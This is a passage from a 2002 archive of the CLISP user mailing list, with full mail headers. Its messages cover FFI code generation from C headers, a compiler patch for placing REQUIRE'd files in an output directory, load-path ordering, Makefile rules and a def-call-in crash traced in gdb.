Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 27 08:51:18 2002 X-Original-Date: Wed, 27 Mar 2002 09:50:51 -0700 (MST) I am modifying cparse, written by Tim Moore to produce clisp ffi code rather than cmucl foreign code. From the impnotes table, I saw that the ctype void corresponded to the lisp type nil, so I assumed that one could refer to a pointer to void by c-ptr nil. This just means that I have to filter the code at the end. Btw, I noticed that you are writing a ffi document. Would you email me a copy, as it might be helpful. My goal is to parse the cygwin win32 api headers and produce ffi calls for them. I have modified cparse and it now goes thru the headers without failure, and I am checking the ffi output now. Dan From Christian.Schuhegger@cern.ch Wed Mar 27 08:58:52 2002 Received: from smtp3.cern.ch ([137.138.131.164]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16qGl8-0001wm-00 for ; Wed, 27 Mar 2002 08:58:51 -0800 Received: from cern.ch (pcitco48.cern.ch [137.138.62.140]) by smtp3.cern.ch (8.12.1/8.12.1) with ESMTP id g2RGwgij025260; Wed, 27 Mar 2002 17:58:42 +0100 (MET) X-Authentication-Warning: smtp3.cern.ch: Host pcitco48.cern.ch [137.138.62.140] claimed to be cern.ch Message-ID: <3CA1FA42.6972824A@cern.ch> From: Christian Schuhegger X-Mailer: Mozilla 4.77 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] how do i make clisp compile to a parallel directory hierarchy? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 27 08:59:07 2002 X-Original-Date: Wed, 27 Mar 2002 17:58:42 +0100 hello all, i would like to make clisp compile to a parallel directory hierarchy (parallel to my src hierarchy). when i use "clisp -c source-file -o out-file " this works fine, but all the files included via "require" get compiled in the src hierarchy. is there a way to make clisp compile these files and put them also into the parallel hierarchy? many thanks for any hints. -- Christian Schuhegger From marcoxa@cs.nyu.edu Wed Mar 27 09:06:59 2002 Received: from octagon.mrl.nyu.edu ([128.122.47.83]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16qGsz-0003V8-00 for ; Wed, 27 Mar 2002 09:06:58 -0800 Received: (from marcoxa@localhost) by octagon.mrl.nyu.edu (8.11.6/8.9.3) id g2RH6o932537; Wed, 27 Mar 2002 12:06:50 -0500 Message-Id: <200203271706.g2RH6o932537@octagon.mrl.nyu.edu> X-Authentication-Warning: octagon.mrl.nyu.edu: marcoxa set sender to marcoxa@cs.nyu.edu using -f From: Marco Antoniotti To: Christian.Schuhegger@cern.ch CC: clisp-list@lists.sourceforge.net In-reply-to: <3CA1F015.9CE89CAB@cern.ch> (message from Christian Schuhegger on Wed, 27 Mar 2002 17:15:17 +0100) Subject: Re: [clisp-list] search sequence for loaded files References: <3CA1F015.9CE89CAB@cern.ch> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 27 09:07:07 2002 X-Original-Date: Wed, 27 Mar 2002 12:06:50 -0500 > X-Authentication-Warning: smtp3.cern.ch: Host pcitco48.cern.ch [137.138.62.140] claimed to be cern.ch > From: Christian Schuhegger > X-Accept-Language: en > Content-Type: text/plain; charset=us-ascii > Sender: clisp-list-admin@lists.sourceforge.net > X-BeenThere: clisp-list@lists.sourceforge.net > X-Mailman-Version: 2.0.5 > Precedence: bulk > List-Help: > List-Post: > List-Subscribe: , > > List-Id: CLISP user discussion > List-Unsubscribe: , > > List-Archive: > X-Original-Date: Wed, 27 Mar 2002 17:15:17 +0100 > Date: Wed, 27 Mar 2002 17:15:17 +0100 > Content-Length: 420 > > hello, > > i am just trying to write a makefile for a project of mine and found out > that the pwd is always searched before any other directories in > custom:*load-paths*. how can i change this search sequence? > > many thanks for any hints! If you are writing something Lisp only, you are better off using DEFSYSTEM. Why do you need `make' for that? Cheers -- Marco Antoniotti ======================================================== NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 719 Broadway 12th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://bioinformatics.cat.nyu.edu "Hello New York! We'll do what we can!" Bill Murray in `Ghostbusters'. From peter.wood@worldonline.dk Wed Mar 27 10:24:21 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16qI5q-0002k8-00 for ; Wed, 27 Mar 2002 10:24:18 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 04034B68E for ; Wed, 27 Mar 2002 19:23:50 +0100 (CET) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g2RIA2B17043; Wed, 27 Mar 2002 19:10:02 +0100 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] def-call-in problem Message-ID: <20020327191002.A6537@localhost.localdomain> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from Joerg-Cyril.Hoehle@t-systems.com on Wed, Mar 27, 2002 at 05:39:37PM +0100 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 27 10:25:04 2002 X-Original-Date: Wed, 27 Mar 2002 19:10:02 +0100 Hi On Wed, Mar 27, 2002 at 05:39:37PM +0100, Hoehle, Joerg-Cyril wrote: > Peter Wood wrote: > > > > Using 2.28 (well, CVS, actually) on Gnu/Linux: > > > > *** - The value of *terminal-io* was not a stream: # > terminal-stream>. It has been changed to #. > > You're using CVS CLISP. Are you sure it's ok?, esp. the dribble change? I am sure it's NOT ok. It is breaking in both 2.28 (with the dribble bug) and a clisp with the dribble bug fixed (CVS - approximately 3 days old). I am just rebuilding 2.27 now, and will try it there too. > > The message appears when *terminal-io* was closed (for whatever reason) and when later on, an attempt is made to use it. For example, all ancient streams are closed when an image restarts. Then CLISP reinitializes *terminal-io* to a new terminal stream. > OK. I take it nothing in the code jumped out at you as being a sigsegv culprit. By the way, I enjoyed reading your article on Extending Clisp. I am still digesting it. On page 2, you have a TODO comment regarding 'mit Kanonen auf Spatzen schiessen' ... if it means 'shooting sparrows with a cannon', as I believe, then the English idiom is probably 'using a sledgehammer to crack a nut'. The Danes have an identical saying to the German, but I have lived here so long, I had to ask a Danish friend living in England!! what the English version might be. Regards, Peter From peter.wood@worldonline.dk Wed Mar 27 10:58:03 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16qIcS-0003N7-00 for ; Wed, 27 Mar 2002 10:58:00 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 7FA23B673 for ; Wed, 27 Mar 2002 19:57:57 +0100 (CET) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g2RIhmx18468; Wed, 27 Mar 2002 19:43:48 +0100 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] def-call-in problem Message-ID: <20020327194347.A17670@localhost.localdomain> References: <20020327191002.A6537@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20020327191002.A6537@localhost.localdomain>; from peter.wood@worldonline.dk on Wed, Mar 27, 2002 at 07:10:02PM +0100 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 27 10:59:33 2002 X-Original-Date: Wed, 27 Mar 2002 19:43:47 +0100 On Wed, Mar 27, 2002 at 07:10:02PM +0100, Peter Wood wrote: > I am just rebuilding 2.27 now, and will try it there too. I get the same result with 2.27, both with my module, and the test described earlier: the *terminal-io* message followed by a segfault: *** - The value of *TERMINAL-IO* was not a stream: #. It has been changed to #. *** - handle_fault error2 ! address = 0xFFFFFFF8 not in [0x68084260,0x680A5000) ! SIGSEGV cannot be cured. Fault address = 0xFFFFFFF8. /usr/bin/clisp-link: line 2: 18450 Segmentation fault (core dumped) "$@" Regards, Peter From ortmage@gmx.net Wed Mar 27 11:36:08 2002 Received: from mx0.gmx.net ([213.165.64.100]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16qJDK-0004Pu-00 for ; Wed, 27 Mar 2002 11:36:06 -0800 Received: (qmail 2634 invoked by uid 0); 27 Mar 2002 19:35:57 -0000 From: Scott Williams To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Priority: 3 (Normal) X-Authenticated-Sender: #0009558537@gmx.net X-Authenticated-IP: [67.235.7.105] Message-ID: <20607.1017257756@www50.gmx.net> X-Mailer: WWW-Mail 1.5 (Global Message Exchange) X-Flags: 0001 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Subject: [clisp-list] Curious about Makefile rules Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 27 11:37:09 2002 X-Original-Date: Wed, 27 Mar 2002 20:35:56 +0100 (MET) I was browsing through the Makefile generated by ./makemake to get a feel for the build process, and i was curious if there was a reason there are rules for every file instead of generic rules that describe (for example) how to turn any file ending with .d into a c file (like so:) %.c : %d $(COMMENT5) $< | $(ANSIDECL) | $(VARBRACE) > $*.c (i haven't tested that, its just memory and a quick glance through the make infomanual). Is it easier to generate rules for every file? Anyways, just idle curiosity :o) -Scott Williams -- GMX - Die Kommunikationsplattform im Internet. http://www.gmx.net From samuel.steingold@verizon.net Wed Mar 27 13:02:27 2002 Received: from out006pub.verizon.net ([206.46.170.106] helo=out006.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16qKYp-0004Lk-00 for ; Wed, 27 Mar 2002 13:02:23 -0800 Received: from gnu.org ([151.203.226.21]) by out006.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020327210115.IJJN27046.out006.verizon.net@gnu.org>; Wed, 27 Mar 2002 15:01:15 -0600 To: Scott Williams Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Curious about Makefile rules References: <20607.1017257756@www50.gmx.net> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20607.1017257756@www50.gmx.net> Message-ID: Lines: 18 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 27 13:10:20 2002 X-Original-Date: 27 Mar 2002 16:02:44 -0500 > * In message <20607.1017257756@www50.gmx.net> > * On the subject of "[clisp-list] Curious about Makefile rules" > * Sent on Wed, 27 Mar 2002 20:35:56 +0100 (MET) > * Honorable Scott Williams writes: > > %.c : %d > $(COMMENT5) $< | $(ANSIDECL) | $(VARBRACE) > $*.c the Makefile is generated, so it is cheap to add a separate rule per-file. OTOH, make(1) utilities are wildly incompatible wrt such rules, so I am pretty sure we _have_ to use explicit rules for full portability. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! If Perl is the solution, you're solving the wrong problem. - Erik Naggum From samuel.steingold@verizon.net Wed Mar 27 13:37:15 2002 Received: from out001slb.verizon.net ([206.46.170.13] helo=out001.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16qL6V-0001EU-00 for ; Wed, 27 Mar 2002 13:37:11 -0800 Received: from gnu.org ([151.203.226.21]) by out001.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020327213707.IQVR6775.out001.verizon.net@gnu.org>; Wed, 27 Mar 2002 15:37:07 -0600 To: Christian Schuhegger Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] how do i make clisp compile to a parallel directory hierarchy? References: <3CA1FA42.6972824A@cern.ch> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3CA1FA42.6972824A@cern.ch> Message-ID: Lines: 63 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 27 13:41:03 2002 X-Original-Date: 27 Mar 2002 16:37:32 -0500 > * In message <3CA1FA42.6972824A@cern.ch> > * On the subject of "[clisp-list] how do i make clisp compile to a parallel directory hierarchy?" > * Sent on Wed, 27 Mar 2002 17:58:42 +0100 > * Honorable Christian Schuhegger writes: > > i would like to make clisp compile to a parallel directory hierarchy > (parallel to my src hierarchy). when i use "clisp -c source-file -o > out-file " this works fine, but all the files included via "require" > get compiled in the src hierarchy. is there a way to make clisp > compile these files and put them also into the parallel hierarchy? "this would be hard to construe as a feature" (L.Wall). Please try the appended patch. (Everyone who relies on REQUIRE should try it!) thanks! -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! A man paints with his brains and not with his hands. --- compiler.lisp.~1.76.~ Thu Mar 21 20:23:05 2002 +++ compiler.lisp Wed Mar 27 16:35:00 2002 @@ -242,6 +242,7 @@ (defvar *compiling-from-file*) ; NIL or T if called by COMPILE-FILE (defvar *compile-file-pathname* nil) ; CLtL2 p. 680 (defvar *compile-file-truename* nil) ; CLtL2 p. 680 +(defvar *compile-file-directory* nil) ; for c-REQUIRE (defvar *compile-file-lineno1* nil) (defvar *compile-file-lineno2* nil) (defvar *c-listing-output*) ; Compiler-Listing-Stream or nil @@ -4309,7 +4310,16 @@ (if (and (consp present-files) (string= (pathname-type newest-file) "lib")) (load newest-file :verbose nil :print nil :echo nil) ; load libfile - (compile-file (or newest-file file)))))) ; compile file + (let ((fi (or newest-file file))) + (if *compile-file-directory* + ;; `compile-file' was called without an explicit + ;; :output-file arg, so compile `in place' + (compile-file fi) + ;; `compile-file' was given :output-file, + ;; so put the compiled file there + (compile-file fi :output-file + (merge-pathnames *compile-file-directory* + fi)))))))) (if (atom pathname) (load-lib pathname) (mapcar #'load-lib pathname))))) ;;; auxiliary functions for @@ -11332,6 +11342,10 @@ ((:verbose *compile-verbose*) *compile-verbose*) ((:print *compile-print*) *compile-print*) &aux liboutput-file (*coutput-file* nil) + (*compile-file-directory* + (if (eq t output-file) nil + (make-pathname :name nil :type nil + :defaults output-file))) (new-output-stream nil) (new-listing-stream nil)) (multiple-value-setq (output-file file) From samuel.steingold@verizon.net Wed Mar 27 13:43:10 2002 Received: from out016pub.verizon.net ([206.46.170.92] helo=out016.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16qLCF-0002Bc-00 for ; Wed, 27 Mar 2002 13:43:08 -0800 Received: from gnu.org ([151.203.226.21]) by out016.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020327214302.IOIS8115.out016.verizon.net@gnu.org>; Wed, 27 Mar 2002 15:43:02 -0600 To: Christian Schuhegger Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] search sequence for loaded files References: <3CA1F015.9CE89CAB@cern.ch> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3CA1F015.9CE89CAB@cern.ch> Message-ID: Lines: 20 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 27 13:46:04 2002 X-Original-Date: 27 Mar 2002 16:43:25 -0500 > * In message <3CA1F015.9CE89CAB@cern.ch> > * On the subject of "[clisp-list] search sequence for loaded files" > * Sent on Wed, 27 Mar 2002 17:15:17 +0100 > * Honorable Christian Schuhegger writes: > > i am just trying to write a makefile for a project of mine and found > out that the pwd is always searched before any other directories in > custom:*load-paths*. how can i change this search sequence? LOAD, as per CLHS, loads its arg after merging in *DEFAULT-PATHNAME-DEFAULTS*. When it fails, then, as an extension, it searches *LOAD-PATHS*. Thus, you should modify *DEFAULT-PATHNAME-DEFAULTS*. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! There are two kinds of egotists: 1) Those who admit it 2) The rest of us From samuel.steingold@verizon.net Wed Mar 27 13:45:21 2002 Received: from out004slb.verizon.net ([206.46.170.16] helo=out004.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16qLEN-0002cG-00 for ; Wed, 27 Mar 2002 13:45:19 -0800 Received: from gnu.org ([151.203.226.21]) by out004.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020327214524.UAYV21585.out004.verizon.net@gnu.org>; Wed, 27 Mar 2002 15:45:24 -0600 To: dan.stanger@ieee.org Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] c-ptr nil vs c-pointer References: <200203271650.g2RGopq00923@mantis.privatei.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200203271650.g2RGopq00923@mantis.privatei.com> Message-ID: Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 27 13:47:27 2002 X-Original-Date: 27 Mar 2002 16:45:41 -0500 > * In message <200203271650.g2RGopq00923@mantis.privatei.com> > * On the subject of "[clisp-list] c-ptr nil vs c-pointer" > * Sent on Wed, 27 Mar 2002 09:50:51 -0700 (MST) > * Honorable dan.stanger@ieee.org writes: > > I am modifying cparse, written by Tim Moore to produce clisp ffi code > rather than cmucl foreign code. This is very interesting. Did you consider SWIG? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! There are two kinds of egotists: 1) Those who admit it 2) The rest of us From dan.stanger@ieee.org Wed Mar 27 14:01:04 2002 Received: from mantis.privatei.com ([208.203.136.20]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16qLTb-00054H-00 for ; Wed, 27 Mar 2002 14:01:03 -0800 Received: (from dxs@localhost) by mantis.privatei.com (8.11.6/8.11.6) id g2RM11g15658 for clisp-list@lists.sourceforge.net; Wed, 27 Mar 2002 15:01:01 -0700 (MST) From: dan.stanger@ieee.org Message-Id: <200203272201.g2RM11g15658@mantis.privatei.com> X-Authentication-Warning: mantis.privatei.com: dxs set sender to dan.stanger@ieee.org using -r To: clisp-list@lists.sourceforge.net Subject: [clisp-list] re: swig for ffi Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 27 14:02:02 2002 X-Original-Date: Wed, 27 Mar 2002 15:01:01 -0700 (MST) I briefly considered the use of swig, but decided against it, for a few reasons: 1) Cparse was written in lisp, using clos and was a fairly short program. 2) Cparse already produced code for the cmucl foreign interface, so it was easy to modify for clisp. 3) Swig had only scheme support, and was written in c. Tom Moore gave me some really good insights as to how the program worked, and it was easy to modify to skip over unimplemented stuff like bitfields and attributes. What remains for me to do is to output in the correct case, and add in stdcall handling and some memory allocation. Dan Stanger From lin8080@freenet.de Wed Mar 27 18:47:07 2002 Received: from mout0.freenet.de ([194.97.50.131]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16qPwP-0007mM-00 for ; Wed, 27 Mar 2002 18:47:05 -0800 Received: from [194.97.50.136] (helo=mx3.freenet.de) by mout0.freenet.de with esmtp (Exim 3.33 #4) id 16qPwM-00019o-00 for clisp-list@lists.sourceforge.net; Thu, 28 Mar 2002 03:47:02 +0100 Received: from b7438.pppool.de ([213.7.116.56] helo=freenet.de) by mx3.freenet.de with asmtp (ID lin8080@freenet.de) (Exim 3.33 #4) id 16qPwL-0000CQ-00 for clisp-list@lists.sourceforge.net; Thu, 28 Mar 2002 03:47:02 +0100 Message-ID: <3CA25FC1.CF9051C5@freenet.de> From: lin8080 X-Mailer: Mozilla 4.7 [de] (Win98; I) X-Accept-Language: de,en MIME-Version: 1.0 CC: "clisp-list@lists.sourceforge.net" Subject: Re: [clisp-list] Seeking place for CLISP documentation Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 27 18:48:03 2002 X-Original-Date: Thu, 28 Mar 2002 01:11:45 +0100 Hallo > Impnotes _is_ the correct place for all documentation about CLISP. Oh, please. Impnotes.html - 1.076.849 bytes. This is not a handy size for online use. Next year it go up to 1,2 mb. Hmmm stefan From peter.wood@worldonline.dk Wed Mar 27 21:31:24 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16qSVO-0000du-00 for ; Wed, 27 Mar 2002 21:31:22 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 523C6B4C5 for ; Thu, 28 Mar 2002 06:31:01 +0100 (CET) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g2S5CqW00188; Thu, 28 Mar 2002 06:12:52 +0100 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Seeking place for CLISP documentation Message-ID: <20020328061252.A148@localhost.localdomain> References: <3CA25FC1.CF9051C5@freenet.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <3CA25FC1.CF9051C5@freenet.de>; from lin8080@freenet.de on Thu, Mar 28, 2002 at 01:11:45AM +0100 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 27 21:32:28 2002 X-Original-Date: Thu, 28 Mar 2002 06:12:52 +0100 On Thu, Mar 28, 2002 at 01:11:45AM +0100, lin8080 wrote: > Hallo > > > Impnotes _is_ the correct place for all documentation about CLISP. > > Oh, please. Impnotes.html - 1.076.849 bytes. > > This is not a handy size for online use. Next year it go up to 1,2 mb. > Hmmm > > stefan I agree, furthermore ... (warn :rant) I advocate the use of plain text for documentation: 1) Plain text documentation is better than none. 2) You won't get more portable than plain text. 3) People don't have to *waste their time* on ugly, complex systems which are completely irrelevant to what they are trying to do, which is communicate. 4) XML, Latex, etc, etc are for *publishers* 5) Plain text is for when it is *important* that people can understand you. 6) Plain text is infinitely manipulable. 7) Any modern editor can move around plain text at least as usefully, quickly and meaningfully, as a browser can do so in some ugly markup. The 'downside' to plain text is: 1) People who want a pretty surface won't read it. f**k them. 2) Bosses like pretty surfaces. So what, this is free software. ditto. (warn) Joerg still needs somewhere to put his docs, no matter what format he chooses. Regards, Peter From peter.wood@worldonline.dk Thu Mar 28 02:20:54 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16qX1Y-0003tJ-00 for ; Thu, 28 Mar 2002 02:20:52 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 90B35B54D for ; Thu, 28 Mar 2002 11:20:48 +0100 (CET) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g2SA6cd28470; Thu, 28 Mar 2002 11:06:38 +0100 From: Peter Wood To: clisp-list@lists.sourceforge.net Message-ID: <20020328110637.A28441@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit User-Agent: Mutt/1.2.5i Subject: [clisp-list] Reporting ffi broken Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 28 02:21:11 2002 X-Original-Date: Thu, 28 Mar 2002 11:06:38 +0100 Hi If anyone can tell me I am wrong, I promise to eat my hat, and be happy about it. If you want some background for this read the thread 'def-call-in problem'. I have tried the sort example (example 29.5) in impnotes, with the only change being: ;--------------- (defpackage "FFI-TEST" (:use "LISP" "FFI")) (in-package "FFI-TEST") ;-------------- ;instead of: (use-package "FFI") ;----------------- And I get the same error message as described in the other thread. I am using a 'full' directory renamed 'base' so I didn't get the sigsegv. I have tried my own module on Clisp all the way back to 2.24 ( clisp-2000-03-06.tar.bz2) and get the error message about *terminal-io* and a sigsegv if I am using clisp's base directory. Has anyone ever actually used def-call-in? Is anyone using it now? What Clisp version are you building with? If you have a working example with 'def-call-in' might I be allowed to see it, so I can discover what I am doing wrong? I have tried stepping (si) through this with gdb and the first indication I can find that something is wrong is when a stream_read causes this: 0x08051783 1492 *object_ptr = stream_read(&STACK_0,NIL,NIL); # Objekt lesen (gdb) *** - The value of *TERMINAL-IO* was not a stream: #. It has been changed to #.0x0805e1f6 in interpret_bytecode_ (closure=0x2036fccd, codeptr=0x203357b8, byteptr_in=0x203357ca "ÇP\nk\003*\024m\004\0010\005Q&\006\031i\001\002/\a\031\001N\001") at eval.d:7524 7524 finish_entry_frame_1(CATCH,returner, goto catch_return; ); Up to this point, the stream_read was succeeding. I have only used gdb very superficially before, so I am struggling to think of what I can do. Can anyone suggest what I should do in gdb... Please. Regards, Peter From ampy@ich.dvo.ru Thu Mar 28 02:53:39 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16qXXA-0002Fz-00 for ; Thu, 28 Mar 2002 02:53:33 -0800 Received: from ppp107-AS-2.vtc.ru (ppp107-AS-2.vtc.ru [212.16.216.107]) by vtc.ru (8.12.2/8.12.2) with ESMTP id g2SAr0WG002886; Thu, 28 Mar 2002 20:53:06 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) 